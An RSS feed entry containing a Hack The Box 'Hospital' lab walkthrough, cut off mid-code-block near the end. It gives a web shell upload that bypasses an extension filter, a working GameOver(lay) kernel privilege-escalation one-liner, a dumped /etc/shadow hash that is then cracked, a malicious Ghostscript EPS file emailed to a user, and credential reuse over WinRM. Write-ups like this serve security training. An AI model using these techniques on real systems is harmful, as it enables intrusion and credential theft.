<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 0xAp0ll0</title>
    <description>The latest articles on DEV Community by 0xAp0ll0 (@r4ybr).</description>
    <link>https://dev.to/r4ybr</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4063122%2F9760ff5c-1576-4c1f-a8db-40875dd989a0.jpg</url>
      <title>DEV Community: 0xAp0ll0</title>
      <link>https://dev.to/r4ybr</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/r4ybr"/>
    <language>en</language>
    <item>
      <title>HTB: Hospital — Write-up</title>
      <dc:creator>0xAp0ll0</dc:creator>
      <pubDate>Thu, 13 Aug 2026 10:18:35 +0000</pubDate>
      <link>https://dev.to/r4ybr/htb-hospital-write-up-9a4</link>
      <guid>https://dev.to/r4ybr/htb-hospital-write-up-9a4</guid>
      <description>&lt;h1&gt;
  
  
  Overview:
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu8opynbmln4fgvnjupuc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu8opynbmln4fgvnjupuc.png" alt=" " width="800" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a walkthrough of the &lt;strong&gt;Hospital&lt;/strong&gt; Medium machine from Hack The Box. In this write-up, I’ll go through the different vulnerabilities I discovered&lt;/p&gt;

&lt;h2&gt;
  
  
  Let’s get started!
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Reconnaissance &amp;amp; Enumeration
&lt;/h1&gt;

&lt;p&gt;I started with an Nmap scan to identify the services running on the target machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos &lt;span class="o"&gt;(&lt;/span&gt;server &lt;span class="nb"&gt;time&lt;/span&gt;: 2026-08-09 01:45:04Z&lt;span class="o"&gt;)&lt;/span&gt;
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: hospital.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp   open  ssl/http          Apache httpd 2.4.56 &lt;span class="o"&gt;((&lt;/span&gt;Win64&lt;span class="o"&gt;)&lt;/span&gt; OpenSSL/1.1.1t PHP/8.0.28&lt;span class="o"&gt;)&lt;/span&gt;
|_ssl-date: TLS randomness does not represent &lt;span class="nb"&gt;time&lt;/span&gt;
|_http-server-header: Apache/2.4.56 &lt;span class="o"&gt;(&lt;/span&gt;Win64&lt;span class="o"&gt;)&lt;/span&gt; OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: &lt;span class="s2"&gt;"400 Bad Request"&lt;/span&gt;
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
1801/tcp  open  msmq?
2103/tcp  open  msrpc             Microsoft Windows RPC
2105/tcp  open  msrpc             Microsoft Windows RPC
2107/tcp  open  msrpc             Microsoft Windows RPC
2179/tcp  open  vmrdp?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP &lt;span class="o"&gt;(&lt;/span&gt;Domain: hospital.htb, Site: Default-First-Site-Name&lt;span class="o"&gt;)&lt;/span&gt;
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DC.hospital.htb
| Not valid before: 2026-08-08T00:55:58
|_Not valid after:  2027-02-07T00:55:58
| rdp-ntlm-info: 
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-09T01:46:06+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 &lt;span class="o"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span class="o"&gt;)&lt;/span&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: &lt;span class="s2"&gt;"Not Found"&lt;/span&gt;
6404/tcp  open  msrpc             Microsoft Windows RPC
6406/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp  open  msrpc             Microsoft Windows RPC
6409/tcp  open  msrpc             Microsoft Windows RPC
6613/tcp  open  msrpc             Microsoft Windows RPC
6619/tcp  open  msrpc             Microsoft Windows RPC
8080/tcp  open  http              Apache httpd 2.4.55 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
|_http-server-header: Apache/2.4.55 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
| http-title: &lt;span class="s2"&gt;"Login"&lt;/span&gt;
|_Requested resource was login.php
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not &lt;span class="nb"&gt;set
&lt;/span&gt;9389/tcp  open  mc-nmf            .NET Message Framing
14426/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC&lt;span class="p"&gt;;&lt;/span&gt; OSs: Linux, Windows&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2026-08-09T01:46:03
|_  start_date: N/A
|_clock-skew: mean: 7h03m40s, deviation: 0s, median: 7h03m40s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan revealed several open ports, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;22&lt;/strong&gt; — SSH&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;443&lt;/strong&gt; — HTTPS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;8080&lt;/strong&gt; — HTTP
The web services immediately caught my attention, so I started investigating them.
---
## Port 443
i visited the the 443 web application and it presented a roundcube webmail login page since i have no credentials i decided to come back to it later 
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuu8tqrkedvx2f12al58s.png" alt=" " width="800" height="348"&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Port 8080
&lt;/h2&gt;

&lt;p&gt;then I visited the web application running on port &lt;strong&gt;8080&lt;/strong&gt;.&lt;br&gt;
The website presented a login page with a registration option so i created an accont and logged in and got greeted with this interface &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsidzxgglpak4eiwy0bnn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsidzxgglpak4eiwy0bnn.png" alt=" " width="800" height="352"&gt;&lt;/a&gt;&lt;br&gt;
which shows the ability to upload images to the website hospital &lt;br&gt;
if we try and upload  and image we get the success page&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0hje0jbzd2fksbs2l8ez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0hje0jbzd2fksbs2l8ez.png" alt=" " width="799" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;after doing some fuzzing i found the &lt;code&gt;/uploads&lt;/code&gt; directory where you can view your uploads so this is definitely hinting for a file upload vulnerability &lt;/p&gt;
&lt;h1&gt;
  
  
  File Upload Exploitation
&lt;/h1&gt;

&lt;p&gt;at first i tried to upload the &lt;code&gt;pwny.php&lt;/code&gt; shell but the website refused it and redirected me to an error page so this shows that there s some sort of protection and filtering happening in the background &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5v1ey3kznjcen6e8ebku.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5v1ey3kznjcen6e8ebku.png" alt=" " width="800" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so i fired up Burpsuite to investigate more &lt;br&gt;
the first thing that i tried is changing the .php extension to oneof those&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fagzigz4bh870jt5aww5p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fagzigz4bh870jt5aww5p.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so i kept testing those extensions in burpsuite  through changing the filename some of them redirected me to the success.php but when i try to open the file that i uploaded the website throws a 404 not found &lt;br&gt;
i kept trying hopping for something to stick and it did work &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcyxcyuw3iykwoq31x6je.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcyxcyuw3iykwoq31x6je.png" alt=" " width="799" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvrsv5of0pzt7b9ofsxm4.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvrsv5of0pzt7b9ofsxm4.gif" alt=" " width="360" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so i got greeted with a linux shell which is weird since this is a windows machine which indicates we re on a docker or a VM inside the windows machine &lt;br&gt;
so i started a  &lt;code&gt;nc&lt;/code&gt; listener in my  terminal and execute a revshell command in the pwny.php to migrate the shell to my terminal &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fme4f93uphwe1xpiucysy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fme4f93uphwe1xpiucysy.png" alt=" " width="798" height="57"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  The first Privilege Escalation
&lt;/h1&gt;

&lt;p&gt;With access to the machine, I began looking for ways to escalate my privileges.&lt;br&gt;
after some enumeration i found out that the kernel is outdated&lt;br&gt;&lt;br&gt;
&lt;code&gt;www-data@webserver:/var/www/html/uploads$ uname -a&lt;br&gt;
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
While researching for a public CVE, I came across &lt;strong&gt;CVE-2023-2640 / CVE-2023-32629&lt;/strong&gt;, commonly associated with the GameOver(lay) privilege-escalation vulnerability.&lt;br&gt;
which was a one liner command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unshare &lt;span class="nt"&gt;-rm&lt;/span&gt; sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"mkdir l u w m &amp;amp;&amp;amp; cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;amp;&amp;amp; touch m/*;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; u/python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash &amp;amp;&amp;amp; chmod 4755 /var/tmp/bash &amp;amp;&amp;amp; /var/tmp/bash -p &amp;amp;&amp;amp; rm -rf l m u w /var/tmp/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;i ran it and yep we got root &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdczmt5d3u1n4n1v61jcp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdczmt5d3u1n4n1v61jcp.png" alt=" " width="796" height="91"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fknibka9cal9i2qz0hqgd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fknibka9cal9i2qz0hqgd.png" alt=" " width="383" height="336"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so another intersting thing that i forgot to mention was that there another user called &lt;strong&gt;&lt;em&gt;drwilliams&lt;/em&gt;&lt;/strong&gt; after getting the root shell i decided to extract his password as it is highly probable that he s got an email account &lt;/p&gt;
&lt;h3&gt;
  
  
  Examining &lt;code&gt;/etc/shadow&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;After obtaining elevated privileges, I inspected the &lt;code&gt;/etc/shadow&lt;/code&gt; file.&lt;br&gt;
This file contains password hashes for local accounts and is normally restricted to privileged users.&lt;br&gt;
i extracted dr williams hash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;drwilliams&lt;/span&gt;:$&lt;span class="m"&gt;6&lt;/span&gt;$&lt;span class="n"&gt;uWBSeTcoXXTBRkiL&lt;/span&gt;$&lt;span class="n"&gt;S9ipksJfiZuO4bFI6I9w&lt;/span&gt;/&lt;span class="n"&gt;iItu5&lt;/span&gt;.&lt;span class="n"&gt;Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y&lt;/span&gt;/:&lt;span class="m"&gt;19612&lt;/span&gt;:&lt;span class="m"&gt;0&lt;/span&gt;:&lt;span class="m"&gt;99999&lt;/span&gt;:&lt;span class="m"&gt;7&lt;/span&gt;:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;using &lt;strong&gt;john&lt;/strong&gt; i was able to crack the hash and we got drwilliams credentials i tried to use them to log in to his webmail account &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyrvkwj2zajoecglyc66n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyrvkwj2zajoecglyc66n.png" alt=" " width="799" height="385"&gt;&lt;/a&gt;&lt;br&gt;
and WE ARE IN&lt;/p&gt;
&lt;h2&gt;
  
  
  Investigating the Mailbox
&lt;/h2&gt;

&lt;p&gt;While going through the inbox, I found a message from &lt;strong&gt;Chris Brown&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The message discussed &lt;strong&gt;Ghostscript&lt;/strong&gt; and &lt;strong&gt;EPS files&lt;/strong&gt;.&lt;br&gt;
while looking through the web to find something that we can use to exploit this *&lt;br&gt;
And I came accross this Poc&lt;/p&gt;

&lt;p&gt;&lt;a href=""&gt;https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Ghostscript Exploitation
&lt;/h2&gt;

&lt;p&gt;The general idea was to create a malicious EPS file that would cause the vulnerable Ghostscript process to execute an attacker-controlled command when the file was processed.&lt;br&gt;
i used the PoC to create a malicious eps file then i sent it to dr brown&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi1mqb1nmmbzv4uqrm41t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi1mqb1nmmbzv4uqrm41t.png" alt=" " width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It took a few attempts to get everything working correctly, but eventually I had access. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwi9pzfbabqfkocg1t1a2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwi9pzfbabqfkocg1t1a2.png" alt=" " width="799" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe2klbwu3y9zipgh4qfy6.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe2klbwu3y9zipgh4qfy6.gif" alt=" " width="498" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;the first thing that i found was the ghostscipt.bat script &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2mpmzewn6tkqqyybdw22.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2mpmzewn6tkqqyybdw22.png" alt=" " width="798" height="157"&gt;&lt;/a&gt;&lt;br&gt;
and it contained dr brown 's creds &lt;br&gt;
so we try them with winRM and it worked  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwszu8f3vi53edsv0ev8a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwszu8f3vi53edsv0ev8a.png" alt=" " width="800" height="88"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Finding the Flag
&lt;/h1&gt;

&lt;p&gt;With access to the machine, I continued exploring the filesystem and eventually located the flag.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmngip1oajpwif3j59yn7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmngip1oajpwif3j59yn7.png" alt=" " width="800" height="242"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Further Enumeration
&lt;/h1&gt;

&lt;p&gt;I continued exploring the Windows filesystem and came across an &lt;strong&gt;XAMPP&lt;/strong&gt; installation.&lt;br&gt;
Inside the XAMPP directory, I found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;htdocs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3c2kg2eh53qalqumw9k4.png" alt=" " width="739" height="216"&gt;
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Final Access
&lt;/h1&gt;

&lt;p&gt;so i uploaded a pwny.php shell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Info:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Establishing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;remote&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\drbrown.HOSPITAL\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:/xampp/htdocs&lt;/span&gt;&lt;span class="w"&gt;
